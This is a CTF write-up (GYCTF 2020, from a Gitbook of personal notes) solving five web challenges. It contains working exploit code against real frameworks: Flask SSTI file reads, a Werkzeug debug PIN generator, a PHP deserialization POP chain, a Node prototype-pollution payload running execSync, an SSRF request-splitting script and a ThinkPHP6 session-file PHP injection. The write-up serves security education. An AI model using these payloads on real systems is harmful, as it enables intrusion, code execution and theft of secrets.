GYCTF 2020

FlaskApp

进入是个Flask的base64加密解密页面

考虑SSTI咯

试了一下base64decode(base64encode({{1+1}}))会返回2

然后就开始找

{{().__class__.__bases__[0].__subclasses__()[0].__init__}}
`

哪个被重载发现75可以用

结果 : <function _ModuleLock.__init__ at 0x7f070fc12290>

然后就是__globals__.__builtins__[]

发现eval不能用,用open可以读,但是似乎flag也被过滤了,

{{().__class__.__bases__[0].__subclasses__()[75].__init__.__globals__.__builtins__['open']("/etc/passwd").read()}}

这个时候也发现存在报错界面,提示了是在调试模式,考虑拿Flask的PIN

需要拿到:

username:就是启动这个Flask的用户

modname为flask.app

getattr(app, 'name', getattr(app.class, 'name'))为Flask

getattr(mod, 'file', None)为flask目录下的一个app.py的绝对路径

uuid.getnode()就是当前电脑的MAC地址,str(uuid.getnode())则是mac地址的十进制表达式

get_machine_id() /etc/machine-id或者 /proc/sys/kernel/random/boot_i中的值

假如是在win平台下读取不到上面两个文件,就去获取注册表中SOFTWARE\Microsoft\Cryptography的值 假如是Docker机 那么为 /proc/self/cgroup docker行

通过open().read()拿到这些值

username: flaskweb // /etc/passwd
modname: flask.app
getattr(app, '__name__', getattr(app.__class__, '__name__')):Flask
getattr(mod, '__file__', None): /usr/local/lib/python3.7/site-packages/flask/app.py //报错信息
uuid.getnode():  str(02:42:ae:01:17:04)=2485410404100 // /sys/class/net/eth0/address
get_machine_id(): b7372b2e7d533d8845c8f8d5aa5086ad9f8d5e16693d990ffe49ed4f55c190fd // /proc/self/cgroup

跑脚本

import hashlib
from itertools import chain
probably_public_bits = [
    'flaskweb',
    'flask.app',
    'Flask',
    '/usr/local/lib/python3.7/site-packages/flask/app.py',
]

private_bits = [
    '2485410404100',
    'b7372b2e7d533d8845c8f8d5aa5086ad9f8d5e16693d990ffe49ed4f55c190fd'
]

h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
    if not bit:
        continue
    if isinstance(bit, str):
        bit = bit.encode('utf-8')
    h.update(bit)
h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None
if num is None:
    h.update(b'pinsalt')
    num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None
if rv is None:
    for group_size in 5, 4, 3:
        if len(num) % group_size == 0:
            rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
                          for x in range(0, len(num), group_size))
            break
    else:
        rv = num

print(rv)

然后在报错界面就可以执行任意代码了

import os
os.popen("ls /").read()

参考资料

Flask debug pin安全问题:

https://xz.aliyun.com/t/2553

Easyphp

扫目录可以扫出源码www.zip

考察POP链+尾部逃逸

首先是很明显的尾部逃逸

function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User{
    ...
    public function getNewInfo(){//
        $age=$_POST['age'];
        $nickname=$_POST['nickname'];//可以构造 len(payload)*"union"+payload 来覆盖Ctrl
        return safe(serialize(new Info($age,$nickname)));
    }
    ...
}

这就造成nickname可控,然后找POP链

<?php
error_reporting(0);
session_start();
function safe($parm){
    $array= array('union','regexp','load','into','flag','file','insert',"'",'\\',"*","alter");
    return str_replace($array,'hacker',$parm);
}
class User
{
    public $id;
    public $age=null;
    public $nickname=null;
    public function login() {
        if(isset($_POST['username'])&&isset($_POST['password'])){
            $mysqli=new dbCtrl();
            $this->id=$mysqli->login('select id,password from user where username=?');
            if($this->id){
            $_SESSION['id']=$this->id;
            $_SESSION['login']=1;
            echo "你的ID是".$_SESSION['id'];
            echo "你好!".$_SESSION['token'];
            echo "<script>window.location.href='./update.php'</script>";
            return $this->id;
            }
        }
    }
    public function update(){//0<-
        $Info=unserialize($this->getNewinfo());//5->
        $age=$Info->age;
        $nickname=$Info->nickname;
        $updateAction=new UpdateHelper($_SESSION['id'],$Info,"update user SET age=$age,nickname=$nickname where id=".$_SESSION['id']);//4->
        //这个功能还没有写完 先占坑
    }
    public function getNewInfo(){//5<-
        $age=$_POST['age'];//len(payload)*"union"+payload(nickname)
        $nickname=$_POST['nickname'];
        return safe(serialize(new Info($age,$nickname)));//6->
    }
    public function __destruct(){
        return file_get_contents($this->nickname);//危 //没得输出利用
    }
    public function __toString()//3<-
    {
        $this->nickname->update($this->age);//1-> (nickname = Info)
        return "0-0";
    }
}
class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
    public function __call($name,$argument){//1<-
        echo $this->CtrlCase->login($argument[0]);//2-> (CtrlCase Login) age=sql
    }
}
Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
    public function __destruct()//4<-
    {
        echo $this->sql;//3-> (__toStrings()) sql = User
    }
}
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name;
    public $password;
    public $mysqli;
    public $token;
    public function __construct()
    {
        $this->name=$_POST['username'];
        $this->password=$_POST['password'];
        $this->token=$_SESSION['token'];
    }
    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
    public function update($sql)
    {
        //还没来得及写
    }
}

分析源码从update.phpupdate()传入(0)构造一个可控的$Info(5),如果我们想要传入可控的的sql的话,可以把CtrlCase搞成UpdateHelper销毁时调用__destruct()(4)这时候如果$sqlUser那么触发__toString()(3)如果nickname = Info则触发(1)然后CtrlCase为一个dbCtrl则可以执行sql也即$age(2)

然后可以根据POP链写出初步的Exp

<?php
class dbCtrl
{
    public $hostname="127.0.0.1";
    public $dbuser="root";
    public $dbpass="root";
    public $database="test";
    public $name="admin";
    public $password;
    public $mysqli;
    public $token="admin";

    public function login($sql)
    {
        $this->mysqli=new mysqli($this->hostname, $this->dbuser, $this->dbpass, $this->database);
        if ($this->mysqli->connect_error) {
            die("连接失败,错误:" . $this->mysqli->connect_error);
        }
        $result=$this->mysqli->prepare($sql);
        $result->bind_param('s', $this->name);
        $result->execute();
        $result->bind_result($idResult, $passwordResult);
        $result->fetch();
        $result->close();
        if ($this->token=='admin') {
            return $idResult;
        }
        if (!$idResult) {
            echo('用户不存在!');
            return false;
        }
        if (md5($this->password)!==$passwordResult) {
            echo('密码错误!');
            return false;
        }
        $_SESSION['token']=$this->name;
        return $idResult;
    }
}

$dbc= new dbCtrl();

class Info{
    public $age;
    public $nickname;
    public $CtrlCase;
    public function __construct($age,$nickname){
        $this->age=$age;
        $this->nickname=$nickname;
    }
}

$info=new Info("233","233");
$info->CtrlCase = $dbc;

class User
{
    public $id;
    public $age;
    public $nickname;
}

$usr = new User();
$usr->age ="select password,id from user where username=?";
$usr->nickname=$info;

Class UpdateHelper{
    public $id;
    public $newinfo;
    public $sql;
    public function __construct($newInfo,$sql){
        $newInfo=unserialize($newInfo);
        $upDate=new dbCtrl();
    }
}

$upd = new UpdateHelper("233","233");
$upd->sql = $usr;

$info2=new Info("1","233");
$info2->CtrlCase=$upd;

echo serialize($info2);
//O:4:"Info":3:{s:3:"age";s:1:"1";s:8:"nickname";s:3:"233";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:3:"233";s:8:"nickname";s:3:"233";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}

?>
payload="""";s:8:"CtrlCase";O:12:"UpdateHelper":3:{s:2:"id";N;s:7:"newinfo";N;s:3:"sql";O:4:"User":3:{s:2:"id";N;s:3:"age";s:45:"select password,id from user where username=?";s:8:"nickname";O:4:"Info":3:{s:3:"age";s:3:"233";s:8:"nickname";s:3:"233";s:8:"CtrlCase";O:6:"dbCtrl":8:{s:8:"hostname";s:9:"127.0.0.1";s:6:"dbuser";s:4:"root";s:6:"dbpass";s:4:"root";s:8:"database";s:4:"test";s:4:"name";s:5:"admin";s:8:"password";N;s:6:"mysqli";N;s:5:"token";s:5:"admin";}}}}}"""

"union"*len(payload)+payload

利用尾部逃逸搞一个这样的Info "union"*len(payload)+payload 然后拿到密码md5,这里可以反查出来,当然既然可以任意sql的话还可以直接注,

Ez_Express

www.zip源码泄露

发现是js写的

涉及到JStoUpperCase()的安全性问题

利用ı->I 绕过注册 admin

function safeKeyword(keyword) {
  if(keyword.match(/(admin)/is)) {
      return keyword
  }

  return undefined
}
req.session.user={
    'user':req.body.userid.toUpperCase(),
    'passwd': req.body.pwd,
    'isLogin':false
}

然后可以post到action这里又涉及到js原型链污染

利用merge,clone 污染这里的outputFunctionName

router.get('/', function (req, res) {
    if (!req.session.user) {
        res.redirect('/login');
    }
    res.outputFunctionName = undefined;
    res.render('index', data = {'user': req.session.user.user});
});

Content-Type转成 application/json payload:

{"lua":"a","__proto__":{"outputFunctionName":"a=1;return global.process.mainModule.constructor._load('child_process').execSync('cat /flag')//"},"Submit":""}

参考资料

javascript-up-low-ercase-tip: http://www.leavesongs.com/HTML/javascript-up-low-ercase-tip.html

从杭电hgame-week4学原型链污染: https://www.jianshu.com/p/6e623e9debe3

深入理解 JavaScript Prototype 污染攻击 https://www.leavesongs.com/PENETRATION/javascript-prototype-pollution-attack.html

Node Game

给了源码

var express = require('express');
var app = express();
var fs = require('fs');
var path = require('path');
var http = require('http');
var pug = require('pug');
var morgan = require('morgan');
const multer = require('multer');


app.use(multer({dest: './dist'}).array('file'));
app.use(morgan('short'));
app.use("/uploads",express.static(path.join(__dirname, '/uploads')))
app.use("/template",express.static(path.join(__dirname, '/template')))


app.get('/', function(req, res) {
    var action = req.query.action?req.query.action:"index";
    if( action.includes("/") || action.includes("\\") ){
        res.send("Errrrr, You have been Blocked");
    }
    file = path.join(__dirname + '/template/'+ action +'.pug');
    var html = pug.renderFile(file);
    res.send(html);
});

app.post('/file_upload', function(req, res){
    var ip = req.connection.remoteAddress;
    var obj = {
        msg: '',
    }
    if (!ip.includes('127.0.0.1')) {
        obj.msg="only admin's ip can use it"
        res.send(JSON.stringify(obj));
        return 
    }
    fs.readFile(req.files[0].path, function(err, data){
        if(err){
            obj.msg = 'upload failed';
            res.send(JSON.stringify(obj));
        }else{
            var file_path = '/uploads/' + req.files[0].mimetype +"/";
            var file_name = req.files[0].originalname
            var dir_file = __dirname + file_path + file_name
            if(!fs.existsSync(__dirname + file_path)){
                try {
                    fs.mkdirSync(__dirname + file_path)
                } catch (error) {
                    obj.msg = "file type error";
                    res.send(JSON.stringify(obj));
                    return
                }
            }
            try {
                fs.writeFileSync(dir_file,data)
                obj = {
                    msg: 'upload success',
                    filename: file_path + file_name
                } 
            } catch (error) {
                obj.msg = 'upload failed';
            }
            res.send(JSON.stringify(obj));    
        }
    })
})

app.get('/source', function(req, res) {
    res.sendFile(path.join(__dirname + '/template/source.txt'));
});


app.get('/core', function(req, res) {//这里可以进行SSRF
    var q = req.query.q;
    var resp = "";
    if (q) {
        var url = 'http://localhost:8081/source?' + q
        console.log(url)
        var trigger = blacklist(url);
        if (trigger === true) {
            res.send("<p>error occurs!</p>");
        } else {
            try {
                http.get(url, function(resp) {
                    resp.setEncoding('utf8');
                    resp.on('error', function(err) {
                    if (err.code === "ECONNRESET") {
                     console.log("Timeout occurs");
                     return;
                    }
                   });

                    resp.on('data', function(chunk) {
                        try {
                         resps = chunk.toString();
                         res.send(resps);
                        }catch (e) {
                           res.send(e.message);
                        }

                    }).on('error', (e) => {
                         res.send(e.message);});
                });
            } catch (error) {
                console.log(error);
            }
        }
    } else {
        res.send("search param 'q' missing!");
    }
})

function blacklist(url) {
    var evilwords = ["global", "process","mainModule","require","root","child_process","exec","\"","'","!"];
    var arrayLen = evilwords.length;
    for (var i = 0; i < arrayLen; i++) {
        const trigger = url.includes(evilwords[i]);
        if (trigger === true) {
            return true
        }
    }
}

var server = app.listen(8081, function() {
    var host = server.address().address
    var port = server.address().port
    console.log("Example app listening at http://%s:%s", host, port)
})

这里考察Node 8.12.0 以下的 SSRF

思想和CRLF类似

可以参考 https://xz.aliyun.com/t/2894#toc-2

利用nodejs低位拆分的处理

Exp:

import urllib.parse
import requests

payload = ''' HTTP/1.1
Host: x
Connection: keep-alive

POST /file_upload HTTP/1.1
Content-Type: multipart/form-data; boundary=--------------------------919695033422425209299810
Connection: keep-alive
cache-control: no-cache
Host: x
Content-Length: 290

----------------------------919695033422425209299810
Content-Disposition: form-data; name="file"; filename="eki.pug"
Content-Type: /../template

doctype html
html
  head
    style
      include ../../../../../../../flag.txt

----------------------------919695033422425209299810--

GET /flag HTTP/1.1
Host: x
Connection: close
x:'''
payload = payload.replace("\n", "\r\n")
payload = ''.join(chr(int('0xff' + hex(ord(c))[2:].zfill(2), 16)) for c in payload)
print(payload)
r = requests.get('http://4dc2eead-14ed-41d0-8846-474af06a6886.node3.buuoj.cn/core?q=' + urllib.parse.quote(payload))
print(r.text)

执行后pug文件就上传到template文件夹里并且读取了flag.txt

EasyThinking

题目提示search功能有漏洞

存在源码泄露拿到www.zip

Thinkphp6.0框架,看下search部分逻辑

//\app\home\controller\member.php
    public function search()
    {
        if (Request::isPost()){
            if (!session('?UID'))
            {
                return redirect('/home/member/login');            
            }
            $data = input("post.");
            $record = session("Record");
            if (!session("Record"))
            {
                session("Record",$data["key"]);
            }
            else
            {
                $recordArr = explode(",",$record);
                $recordLen = sizeof($recordArr);
                if ($recordLen >= 3){
                    array_shift($recordArr);
                    session("Record",implode(",",$recordArr) . "," . $data["key"]);
                    return View::fetch("result",["res" => "There's nothing here"]);
                }

            }
            session("Record",$record . "," . $data["key"]);
            return View::fetch("result",["res" => "There's nothing here"]);
        }else{
            return View("search");
        }
    }

这里涉及到对Session的处理,最外层包装如下

   function session($name = '', $value = '')
    {
        if (is_null($name)) {
            // 清除
            Session::clear();
        } elseif ('' === $name) {
            return Session::all();
        } elseif (is_null($value)) {
            // 删除
            Session::delete($name);
        } elseif ('' === $value) {
            // 判断或获取
            return 0 === strpos($name, '?') ? Session::has(substr($name, 1)) : Session::get($name);
        } else {
            // 设置
            Session::set($name, $value);
        }
    }

利用点就是这个Session来实现任意文件操作具体原理可以参考参考资料

Poc

POST /home/member/search HTTP/1.1
Host: 7e20a6ce-de3e-465a-b62d-a02eaf89f174.node3.buuoj.cn
Content-Length: 23
Cache-Control: max-age=0
Origin: http://7e20a6ce-de3e-465a-b62d-a02eaf89f174.node3.buuoj.cn
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.163 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://7e20a6ce-de3e-465a-b62d-a02eaf89f174.node3.buuoj.cn/home/member/search
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: _ga=GA1.2.1470039898.1585919433; PHPSESSID=4ed89a20be1a7ec91b09e116cdc5.php
Connection: close

key=<?php phpinfo(); ?>

thinkphp6 会默认在 /runtime/session 创建一个sess_xxx格式的session文件,这里的xxx就是PHPSESSID(必须是32位),而文件的内容就是session的内容,此处可以向key里注入

注意创建session的条件是要登陆成功,所以我们可以携带xxxx.php的phpsession进行登录,然后搜索注入

根据phpinfo()可以看到disable了大部分函数,利用bypass disable_function的脚本绕过

参考资料

thinkPHP6 任意文件操作漏洞分析 https://paper.seebug.org/1114/

© Eki's CTF-notes 2019-2020 CC-by-nc-sa 4.0。 all right reserved,powered by Gitbook本网站最后修订于: 2020-07-09 14:40:32

results matching ""

    No results matching ""